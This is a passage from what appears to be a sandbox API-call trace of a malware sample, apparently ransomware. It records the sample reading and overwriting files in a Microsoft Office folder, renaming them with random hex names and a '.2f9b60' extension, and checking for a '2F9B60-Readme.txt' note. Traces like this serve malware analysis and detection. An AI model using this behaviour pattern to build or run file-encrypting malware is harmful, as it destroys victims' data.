RtlRandomEx (in: Seed=0x27c6fc50 | out: Seed=0x27c6fc50) returned 0x4dfa17fe [0091.017] RtlRandomEx (in: Seed=0x27c6fc50 | out: Seed=0x27c6fc50) returned 0x540c5be5 [0091.017] RtlRandomEx (in: Seed=0x27c6fc50 | out: Seed=0x27c6fc50) returned 0x41fa52c2 [0091.017] RtlRandomEx (in: Seed=0x27c6fc50 | out: Seed=0x27c6fc50) returned 0x4e6cf9d5 [0091.017] RtlRandomEx (in: Seed=0x27c6fc50 | out: Seed=0x27c6fc50) returned 0x30866239 [0091.017] RtlRandomEx (in: Seed=0x27c6fc50 | out: Seed=0x27c6fc50) returned 0x781c950 [0091.017] RtlRandomEx (in: Seed=0x27c6fc50 | out: Seed=0x27c6fc50) returned 0x26a61392 [0091.017] RtlRandomEx (in: Seed=0x27c6fc50 | out: Seed=0x27c6fc50) returned 0x12b5f9dd [0091.017] RtlRandomEx (in: Seed=0x27c6fc50 | out: Seed=0x27c6fc50) returned 0x2d3fee27 [0091.017] RtlRandomEx (in: Seed=0x27c6fc50 | out: Seed=0x27c6fc50) returned 0x1b262a9f [0091.017] RtlRandomEx (in: Seed=0x27c6fc50 | out: Seed=0x27c6fc50) returned 0x1924b9d3 [0091.017] RtlRandomEx (in: Seed=0x27c6fc50 | out: Seed=0x27c6fc50) returned 0x684a64c2 [0091.017] RtlRandomEx (in: Seed=0x27c6fc50 | out: Seed=0x27c6fc50) returned 0x4278468d [0091.017] RtlRandomEx (in: Seed=0x27c6fc50 | out: Seed=0x27c6fc50) returned 0x32c9d520 [0091.017] RtlRandomEx (in: Seed=0x27c6fc50 | out: Seed=0x27c6fc50) returned 0x5ca503a1 [0091.017] RtlRandomEx (in: Seed=0x27c6fc50 | out: Seed=0x27c6fc50) returned 0x5191f0f1 [0091.017] RtlRandomEx (in: Seed=0x27c6fc50 | out: Seed=0x27c6fc50) returned 0x7bee4218 [0091.017] RtlRandomEx (in: Seed=0x27c6fc50 | out: Seed=0x27c6fc50) returned 0x6f06dccb [0091.025] ReadFile (in: hFile=0xcfc, lpBuffer=0x2012e130, nNumberOfBytesToRead=0x295c, lpNumberOfBytesRead=0x27c6fc50, lpOverlapped=0x0 | out: lpBuffer=0x2012e130*, lpNumberOfBytesRead=0x27c6fc50*=0x295c, lpOverlapped=0x0) returned 1 [0091.036] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.036] WriteFile (in: hFile=0xcfc, lpBuffer=0x20131d40*, nNumberOfBytesToWrite=0x295c, lpNumberOfBytesWritten=0x27c6fc54, lpOverlapped=0x0 | out: lpBuffer=0x20131d40*, lpNumberOfBytesWritten=0x27c6fc54*=0x295c, lpOverlapped=0x0) returned 1 [0091.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7170 [0091.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced75c0 [0091.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced75c0) returned 1 [0091.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20131d40) returned 1 [0091.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2012e130) returned 1 [0091.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8667c0) returned 1 [0091.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c580) returned 1 [0091.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8667c0 [0091.159] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0091.159] WriteFile (in: hFile=0xcfc, lpBuffer=0x133600*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x27c6fd70, lpOverlapped=0x0 | out: lpBuffer=0x133600*, lpNumberOfBytesWritten=0x27c6fd70*=0x154, lpOverlapped=0x0) returned 1 [0091.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c6c0 [0091.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866bc0 [0091.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d10 [0091.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7d10) returned 1 [0091.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b863960 [0091.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d10 [0091.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7dd0 [0091.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7dd0) returned 1 [0091.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866bc0) returned 1 [0091.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c6c0) returned 1 [0091.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc5) returned 0x118540 [0091.676] sprintf (in: _Dest=0x118540, _Format="%c%c" | out: _Dest="4c") returned 2 [0091.676] sprintf (in: _Dest=0x118542, _Format="%c%c" | out: _Dest="12") returned 2 [0091.676] sprintf (in: _Dest=0x118544, _Format="%c%c" | out: _Dest="eb") returned 2 [0091.676] sprintf (in: _Dest=0x118546, _Format="%c%c" | out: _Dest="6e") returned 2 [0091.677] sprintf (in: _Dest=0x118548, _Format="%c%c" | out: _Dest="de") returned 2 [0091.677] sprintf (in: _Dest=0x11854a, _Format="%c%c" | out: _Dest="ac") returned 2 [0091.677] sprintf (in: _Dest=0x11854c, _Format="%c%c" | out: _Dest="3d") returned 2 [0091.677] sprintf (in: _Dest=0x11854e, _Format="%c%c" | out: _Dest="85") returned 2 [0091.677] sprintf (in: _Dest=0x118550, _Format="%c%c" | out: _Dest="67") returned 2 [0091.677] sprintf (in: _Dest=0x118552, _Format="%c%c" | out: _Dest="b4") returned 2 [0091.677] sprintf (in: _Dest=0x118554, _Format="%c%c" | out: _Dest="61") returned 2 [0091.677] sprintf (in: _Dest=0x118556, _Format="%c%c" | out: _Dest="63") returned 2 [0091.677] sprintf (in: _Dest=0x118558, _Format="%c%c" | out: _Dest="c7") returned 2 [0091.677] sprintf (in: _Dest=0x11855a, _Format="%c%c" | out: _Dest="a1") returned 2 [0091.677] sprintf (in: _Dest=0x11855c, _Format="%c%c" | out: _Dest="8f") returned 2 [0091.677] sprintf (in: _Dest=0x11855e, _Format="%c%c" | out: _Dest="4f") returned 2 [0091.677] sprintf (in: _Dest=0x118560, _Format="%c%c" | out: _Dest="23") returned 2 [0091.677] sprintf (in: _Dest=0x118562, _Format="%c%c" | out: _Dest="52") returned 2 [0091.677] sprintf (in: _Dest=0x118564, _Format="%c%c" | out: _Dest="f2") returned 2 [0091.677] sprintf (in: _Dest=0x118566, _Format="%c%c" | out: _Dest="d2") returned 2 [0091.677] sprintf (in: _Dest=0x118568, _Format="%c%c" | out: _Dest="c3") returned 2 [0091.677] sprintf (in: _Dest=0x11856a, _Format="%c%c" | out: _Dest="d9") returned 2 [0091.677] sprintf (in: _Dest=0x11856c, _Format="%c%c" | out: _Dest="c0") returned 2 [0091.677] sprintf (in: _Dest=0x11856e, _Format="%c%c" | out: _Dest="e5") returned 2 [0091.677] sprintf (in: _Dest=0x118570, _Format="%c%c" | out: _Dest="5a") returned 2 [0091.677] sprintf (in: _Dest=0x118572, _Format="%c%c" | out: _Dest="8e") returned 2 [0091.677] sprintf (in: _Dest=0x118574, _Format="%c%c" | out: _Dest="6c") returned 2 [0091.677] sprintf (in: _Dest=0x118576, _Format="%c%c" | out: _Dest="a3") returned 2 [0091.677] sprintf (in: _Dest=0x118578, _Format="%c%c" | out: _Dest="de") returned 2 [0091.677] sprintf (in: _Dest=0x11857a, _Format="%c%c" | out: _Dest="c0") returned 2 [0091.677] sprintf (in: _Dest=0x11857c, _Format="%c%c" | out: _Dest="5a") returned 2 [0091.677] sprintf (in: _Dest=0x11857e, _Format="%c%c" | out: _Dest="fc") returned 2 [0091.677] sprintf (in: _Dest=0x118580, _Format="%c%c" | out: _Dest="45") returned 2 [0091.678] sprintf (in: _Dest=0x118582, _Format="%c%c" | out: _Dest="d2") returned 2 [0091.678] sprintf (in: _Dest=0x118584, _Format="%c%c" | out: _Dest="39") returned 2 [0091.678] sprintf (in: _Dest=0x118586, _Format="%c%c" | out: _Dest="88") returned 2 [0091.678] sprintf (in: _Dest=0x118588, _Format="%c%c" | out: _Dest="6b") returned 2 [0091.678] sprintf (in: _Dest=0x11858a, _Format="%c%c" | out: _Dest="d4") returned 2 [0091.678] sprintf (in: _Dest=0x11858c, _Format="%c%c" | out: _Dest="7f") returned 2 [0091.678] sprintf (in: _Dest=0x11858e, _Format="%c%c" | out: _Dest="26") returned 2 [0091.678] sprintf (in: _Dest=0x118590, _Format="%c%c" | out: _Dest="58") returned 2 [0091.678] sprintf (in: _Dest=0x118592, _Format="%c%c" | out: _Dest="e8") returned 2 [0091.678] sprintf (in: _Dest=0x118594, _Format="%c%c" | out: _Dest="f7") returned 2 [0091.678] sprintf (in: _Dest=0x118596, _Format="%c%c" | out: _Dest="46") returned 2 [0091.678] sprintf (in: _Dest=0x118598, _Format="%c%c" | out: _Dest="e8") returned 2 [0091.678] sprintf (in: _Dest=0x11859a, _Format="%c%c" | out: _Dest="fa") returned 2 [0091.678] sprintf (in: _Dest=0x11859c, _Format="%c%c" | out: _Dest="e5") returned 2 [0091.678] sprintf (in: _Dest=0x11859e, _Format="%c%c" | out: _Dest="ae") returned 2 [0091.678] sprintf (in: _Dest=0x1185a0, _Format="%c%c" | out: _Dest="49") returned 2 [0091.678] sprintf (in: _Dest=0x1185a2, _Format="%c%c" | out: _Dest="06") returned 2 [0091.678] sprintf (in: _Dest=0x1185a4, _Format="%c%c" | out: _Dest="76") returned 2 [0091.678] sprintf (in: _Dest=0x1185a6, _Format="%c%c" | out: _Dest="ca") returned 2 [0091.678] sprintf (in: _Dest=0x1185a8, _Format="%c%c" | out: _Dest="17") returned 2 [0091.678] sprintf (in: _Dest=0x1185aa, _Format="%c%c" | out: _Dest="bd") returned 2 [0091.678] sprintf (in: _Dest=0x1185ac, _Format="%c%c" | out: _Dest="9c") returned 2 [0091.678] sprintf (in: _Dest=0x1185ae, _Format="%c%c" | out: _Dest="16") returned 2 [0091.678] sprintf (in: _Dest=0x1185b0, _Format="%c%c" | out: _Dest="94") returned 2 [0091.678] sprintf (in: _Dest=0x1185b2, _Format="%c%c" | out: _Dest="8e") returned 2 [0091.678] sprintf (in: _Dest=0x1185b4, _Format="%c%c" | out: _Dest="06") returned 2 [0091.678] sprintf (in: _Dest=0x1185b6, _Format="%c%c" | out: _Dest="2c") returned 2 [0091.678] sprintf (in: _Dest=0x1185b8, _Format="%c%c" | out: _Dest="c8") returned 2 [0091.679] sprintf (in: _Dest=0x1185ba, _Format="%c%c" | out: _Dest="ec") returned 2 [0091.679] sprintf (in: _Dest=0x1185bc, _Format="%c%c" | out: _Dest="c5") returned 2 [0091.679] sprintf (in: _Dest=0x1185be, _Format="%c%c" | out: _Dest="29") returned 2 [0091.679] sprintf (in: _Dest=0x1185c0, _Format="%c%c" | out: _Dest="7c") returned 2 [0091.679] sprintf (in: _Dest=0x1185c2, _Format="%c%c" | out: _Dest="6f") returned 2 [0091.679] sprintf (in: _Dest=0x1185c4, _Format="%c%c" | out: _Dest="02") returned 2 [0091.679] sprintf (in: _Dest=0x1185c6, _Format="%c%c" | out: _Dest="dd") returned 2 [0091.679] sprintf (in: _Dest=0x1185c8, _Format="%c%c" | out: _Dest="25") returned 2 [0091.679] sprintf (in: _Dest=0x1185ca, _Format="%c%c" | out: _Dest="71") returned 2 [0091.679] sprintf (in: _Dest=0x1185cc, _Format="%c%c" | out: _Dest="8d") returned 2 [0091.679] sprintf (in: _Dest=0x1185ce, _Format="%c%c" | out: _Dest="e6") returned 2 [0091.679] sprintf (in: _Dest=0x1185d0, _Format="%c%c" | out: _Dest="13") returned 2 [0091.679] sprintf (in: _Dest=0x1185d2, _Format="%c%c" | out: _Dest="a9") returned 2 [0091.679] sprintf (in: _Dest=0x1185d4, _Format="%c%c" | out: _Dest="da") returned 2 [0091.679] sprintf (in: _Dest=0x1185d6, _Format="%c%c" | out: _Dest="93") returned 2 [0091.679] sprintf (in: _Dest=0x1185d8, _Format="%c%c" | out: _Dest="7e") returned 2 [0091.679] sprintf (in: _Dest=0x1185da, _Format="%c%c" | out: _Dest="45") returned 2 [0091.679] sprintf (in: _Dest=0x1185dc, _Format="%c%c" | out: _Dest="8e") returned 2 [0091.679] sprintf (in: _Dest=0x1185de, _Format="%c%c" | out: _Dest="df") returned 2 [0091.679] sprintf (in: _Dest=0x1185e0, _Format="%c%c" | out: _Dest="31") returned 2 [0091.679] sprintf (in: _Dest=0x1185e2, _Format="%c%c" | out: _Dest="92") returned 2 [0091.679] sprintf (in: _Dest=0x1185e4, _Format="%c%c" | out: _Dest="24") returned 2 [0091.679] sprintf (in: _Dest=0x1185e6, _Format="%c%c" | out: _Dest="0a") returned 2 [0091.679] sprintf (in: _Dest=0x1185e8, _Format="%c%c" | out: _Dest="ad") returned 2 [0091.679] sprintf (in: _Dest=0x1185ea, _Format="%c%c" | out: _Dest="f0") returned 2 [0091.679] sprintf (in: _Dest=0x1185ec, _Format="%c%c" | out: _Dest="74") returned 2 [0091.679] sprintf (in: _Dest=0x1185ee, _Format="%c%c" | out: _Dest="3e") returned 2 [0091.679] sprintf (in: _Dest=0x1185f0, _Format="%c%c" | out: _Dest="0b") returned 2 [0091.680] sprintf (in: _Dest=0x1185f2, _Format="%c%c" | out: _Dest="c9") returned 2 [0091.680] sprintf (in: _Dest=0x1185f4, _Format="%c%c" | out: _Dest="c9") returned 2 [0091.680] sprintf (in: _Dest=0x1185f6, _Format="%c%c" | out: _Dest="a2") returned 2 [0091.680] sprintf (in: _Dest=0x1185f8, _Format="%c%c" | out: _Dest="6f") returned 2 [0091.680] sprintf (in: _Dest=0x1185fa, _Format="%c%c" | out: _Dest="5c") returned 2 [0091.680] sprintf (in: _Dest=0x1185fc, _Format="%c%c" | out: _Dest="80") returned 2 [0091.680] sprintf (in: _Dest=0x1185fe, _Format="%c%c" | out: _Dest="8f") returned 2 [0091.680] sprintf (in: _Dest=0x118600, _Format="%c%c" | out: _Dest="58") returned 2 [0091.680] sprintf (in: _Dest=0x118602, _Format="%c%c" | out: _Dest="d1") returned 2 [0091.680] RtlInitAnsiString (in: DestinationString=0x27c6fde8, SourceString="4c12eb6edeac3d8567b46163c7a18f4f2352f2d2c3d9c0e55a8e6ca3dec05afc45d239886bd47f2658e8f746e8fae5ae490676ca17bd9c16948e062cc8ecc5297c6f02dd25718de613a9da937e458edf3192240aadf0743e0bc9c9a26f5c808f58d1" | out: DestinationString="4c12eb6edeac3d8567b46163c7a18f4f2352f2d2c3d9c0e55a8e6ca3dec05afc45d239886bd47f2658e8f746e8fae5ae490676ca17bd9c16948e062cc8ecc5297c6f02dd25718de613a9da937e458edf3192240aadf0743e0bc9c9a26f5c808f58d1") [0091.680] RtlAnsiStringToUnicodeString (in: DestinationString=0x27c6fdb8, SourceString="4c12eb6edeac3d8567b46163c7a18f4f2352f2d2c3d9c0e55a8e6ca3dec05afc45d239886bd47f2658e8f746e8fae5ae490676ca17bd9c16948e062cc8ecc5297c6f02dd25718de613a9da937e458edf3192240aadf0743e0bc9c9a26f5c808f58d1", AllocateDestinationString=1 | out: DestinationString="4c12eb6edeac3d8567b46163c7a18f4f2352f2d2c3d9c0e55a8e6ca3dec05afc45d239886bd47f2658e8f746e8fae5ae490676ca17bd9c16948e062cc8ecc5297c6f02dd25718de613a9da937e458edf3192240aadf0743e0bc9c9a26f5c808f58d1") returned 0x0 [0091.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18a) returned 0x1ce16500 [0091.680] wcscat (in: _Dest=0x118540, _Source="4c12eb6edeac3d8567b46163c7a18f4f2352f2d2c3d9c0e55" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\4c12eb6edeac3d8567b46163c7a18f4f2352f2d2c3d9c0e55") returned="C:\\Program Files\\Microsoft Office\\Office14\\4c12eb6edeac3d8567b46163c7a18f4f2352f2d2c3d9c0e55" [0091.680] wcscat (in: _Dest=0x118540, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\4c12eb6edeac3d8567b46163c7a18f4f2352f2d2c3d9c0e55.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\4c12eb6edeac3d8567b46163c7a18f4f2352f2d2c3d9c0e55.2f9b60" [0091.680] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\4c12eb6edeac3d8567b46163c7a18f4f2352f2d2c3d9c0e55.2f9b60", NtPathName=0x27c6fd90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\4c12eb6edeac3d8567b46163c7a18f4f2352f2d2c3d9c0e55.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0091.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe6) returned 0x1b799700 [0091.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799700) returned 1 [0091.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0091.713] NtQueryInformationFile (in: FileHandle=0xcfc, IoStatusBlock=0x27c6fdf8, FileInformation=0x27c6fe08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x27c6fdf8, FileInformation=0x27c6fe08) returned 0x0 [0091.713] NtSetInformationFile (FileHandle=0xcfc, IoStatusBlock=0x27c6fdf8, FileInformation=0x27c6fe08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0091.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118540) returned 1 [0091.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce16500) returned 1 [0091.753] FlushFileBuffers (hFile=0xcfc) returned 1 [0091.761] CloseHandle (hObject=0xcfc) returned 1 [0091.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4d9b0 [0091.772] wcscpy (in: _Dest=0x1cf4d9b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0091.772] wcscat (in: _Dest=0x1cf4d9b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0091.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0091.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d9b0) returned 1 [0091.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1182d0) returned 1 Thread: id = 417 os_tid = 0xfb4 [0090.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.RuntimeUi.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtimeui.xml")) returned 0x20 [0091.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.RuntimeUi.xml", dwFileAttributes=0x20) returned 1 [0091.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.RuntimeUi.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtimeui.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd34 [0091.123] GetFileSizeEx (in: hFile=0xd34, lpFileSize=0x27b1f9e0 | out: lpFileSize=0x27b1f9e0*=178) returned 1 [0091.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7170 [0091.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7410 [0091.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced74a0 [0091.123] NtQuerySystemTime (in: CurrentTime=0x27b1f8a0 | out: CurrentTime=0x27b1f8a0*=132462176969770000) returned 0x0 [0091.123] RtlRandomEx (in: Seed=0x27b1f890 | out: Seed=0x27b1f890) returned 0x41809b82 [0091.123] RtlRandomEx (in: Seed=0x27b1f890 | out: Seed=0x27b1f890) returned 0x75aa991b [0091.123] RtlRandomEx (in: Seed=0x27b1f890 | out: Seed=0x27b1f890) returned 0x69ace158 [0091.123] RtlRandomEx (in: Seed=0x27b1f890 | out: Seed=0x27b1f890) returned 0x1cfda777 [0091.123] RtlRandomEx (in: Seed=0x27b1f890 | out: Seed=0x27b1f890) returned 0x5a3a6477 [0091.123] RtlRandomEx (in: Seed=0x27b1f890 | out: Seed=0x27b1f890) returned 0x7b8e75e7 [0091.123] RtlRandomEx (in: Seed=0x27b1f890 | out: Seed=0x27b1f890) returned 0x23b9bdf4 [0091.123] RtlRandomEx (in: Seed=0x27b1f890 | out: Seed=0x27b1f890) returned 0x28f798a [0091.123] RtlRandomEx (in: Seed=0x27b1f890 | out: Seed=0x27b1f890) returned 0x3e63af92 [0091.123] RtlRandomEx (in: Seed=0x27b1f890 | out: Seed=0x27b1f890) returned 0xd70a3eb [0091.123] RtlRandomEx (in: Seed=0x27b1f890 | out: Seed=0x27b1f890) returned 0x21f3a2e8 [0091.123] RtlRandomEx (in: Seed=0x27b1f890 | out: Seed=0x27b1f890) returned 0x3d0e12f5 [0091.123] RtlRandomEx (in: Seed=0x27b1f890 | out: Seed=0x27b1f890) returned 0x7409fda0 [0091.123] RtlRandomEx (in: Seed=0x27b1f890 | out: Seed=0x27b1f890) returned 0x45100389 [0091.123] RtlRandomEx (in: Seed=0x27b1f890 | out: Seed=0x27b1f890) returned 0x37146d26 [0091.123] RtlRandomEx (in: Seed=0x27b1f890 | out: Seed=0x27b1f890) returned 0x4572b005 [0091.123] RtlRandomEx (in: Seed=0x27b1f890 | out: Seed=0x27b1f890) returned 0x6da2f745 [0091.123] RtlRandomEx (in: Seed=0x27b1f890 | out: Seed=0x27b1f890) returned 0x220c1a10 [0091.123] RtlRandomEx (in: Seed=0x27b1f890 | out: Seed=0x27b1f890) returned 0x7165ab68 [0091.123] RtlRandomEx (in: Seed=0x27b1f890 | out: Seed=0x27b1f890) returned 0x5a1d358f [0091.124] RtlRandomEx (in: Seed=0x27b1f890 | out: Seed=0x27b1f890) returned 0x4f0892e8 [0091.124] RtlRandomEx (in: Seed=0x27b1f890 | out: Seed=0x27b1f890) returned 0x28930d6a [0091.124] RtlRandomEx (in: Seed=0x27b1f890 | out: Seed=0x27b1f890) returned 0xe14793c [0091.124] RtlRandomEx (in: Seed=0x27b1f890 | out: Seed=0x27b1f890) returned 0x56935c8c [0091.124] RtlRandomEx (in: Seed=0x27b1f890 | out: Seed=0x27b1f890) returned 0x7efee0a3 [0091.124] RtlRandomEx (in: Seed=0x27b1f890 | out: Seed=0x27b1f890) returned 0x29f23ba9 [0091.124] RtlRandomEx (in: Seed=0x27b1f890 | out: Seed=0x27b1f890) returned 0x4c073c01 [0091.124] RtlRandomEx (in: Seed=0x27b1f890 | out: Seed=0x27b1f890) returned 0x9724d78 [0091.124] RtlRandomEx (in: Seed=0x27b1f890 | out: Seed=0x27b1f890) returned 0x4be797b9 [0091.124] RtlRandomEx (in: Seed=0x27b1f890 | out: Seed=0x27b1f890) returned 0x4ebc2efc [0091.124] RtlRandomEx (in: Seed=0x27b1f890 | out: Seed=0x27b1f890) returned 0x26a8cc9a [0091.124] RtlRandomEx (in: Seed=0x27b1f890 | out: Seed=0x27b1f890) returned 0xf36ea58 [0091.132] ReadFile (in: hFile=0xd34, lpBuffer=0x20153cc0, nNumberOfBytesToRead=0xb2, lpNumberOfBytesRead=0x27b1f890, lpOverlapped=0x0 | out: lpBuffer=0x20153cc0*, lpNumberOfBytesRead=0x27b1f890*=0xb2, lpOverlapped=0x0) returned 1 [0091.134] SetFilePointerEx (in: hFile=0xd34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.135] WriteFile (in: hFile=0xd34, lpBuffer=0x201578d0*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x27b1f894, lpOverlapped=0x0 | out: lpBuffer=0x201578d0*, lpNumberOfBytesWritten=0x27b1f894*=0xb2, lpOverlapped=0x0) returned 1 [0091.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8220 [0091.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8250 [0091.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8250) returned 1 [0091.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201578d0) returned 1 [0091.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20153cc0) returned 1 [0091.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0091.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8f0) returned 1 [0091.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b866840 [0091.711] SetFilePointerEx (in: hFile=0xd34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0091.711] WriteFile (in: hFile=0xd34, lpBuffer=0x133600*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x27b1f9b0, lpOverlapped=0x0 | out: lpBuffer=0x133600*, lpNumberOfBytesWritten=0x27b1f9b0*=0x158, lpOverlapped=0x0) returned 1 [0091.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0091.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0091.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c50 [0091.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c50) returned 1 [0091.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b863960 [0091.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c50 [0091.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c20 [0091.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c20) returned 1 [0091.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0091.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0091.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcd) returned 0x1b776770 [0091.739] sprintf (in: _Dest=0x1b776770, _Format="%c%c" | out: _Dest="97") returned 2 [0091.739] sprintf (in: _Dest=0x1b776772, _Format="%c%c" | out: _Dest="3b") returned 2 [0091.739] sprintf (in: _Dest=0x1b776774, _Format="%c%c" | out: _Dest="ae") returned 2 [0091.739] sprintf (in: _Dest=0x1b776776, _Format="%c%c" | out: _Dest="cc") returned 2 [0091.739] sprintf (in: _Dest=0x1b776778, _Format="%c%c" | out: _Dest="32") returned 2 [0091.739] sprintf (in: _Dest=0x1b77677a, _Format="%c%c" | out: _Dest="86") returned 2 [0091.739] sprintf (in: _Dest=0x1b77677c, _Format="%c%c" | out: _Dest="10") returned 2 [0091.739] sprintf (in: _Dest=0x1b77677e, _Format="%c%c" | out: _Dest="09") returned 2 [0091.739] sprintf (in: _Dest=0x1b776780, _Format="%c%c" | out: _Dest="79") returned 2 [0091.739] sprintf (in: _Dest=0x1b776782, _Format="%c%c" | out: _Dest="75") returned 2 [0091.739] sprintf (in: _Dest=0x1b776784, _Format="%c%c" | out: _Dest="ab") returned 2 [0091.739] sprintf (in: _Dest=0x1b776786, _Format="%c%c" | out: _Dest="24") returned 2 [0091.739] sprintf (in: _Dest=0x1b776788, _Format="%c%c" | out: _Dest="92") returned 2 [0091.739] sprintf (in: _Dest=0x1b77678a, _Format="%c%c" | out: _Dest="b4") returned 2 [0091.739] sprintf (in: _Dest=0x1b77678c, _Format="%c%c" | out: _Dest="19") returned 2 [0091.739] sprintf (in: _Dest=0x1b77678e, _Format="%c%c" | out: 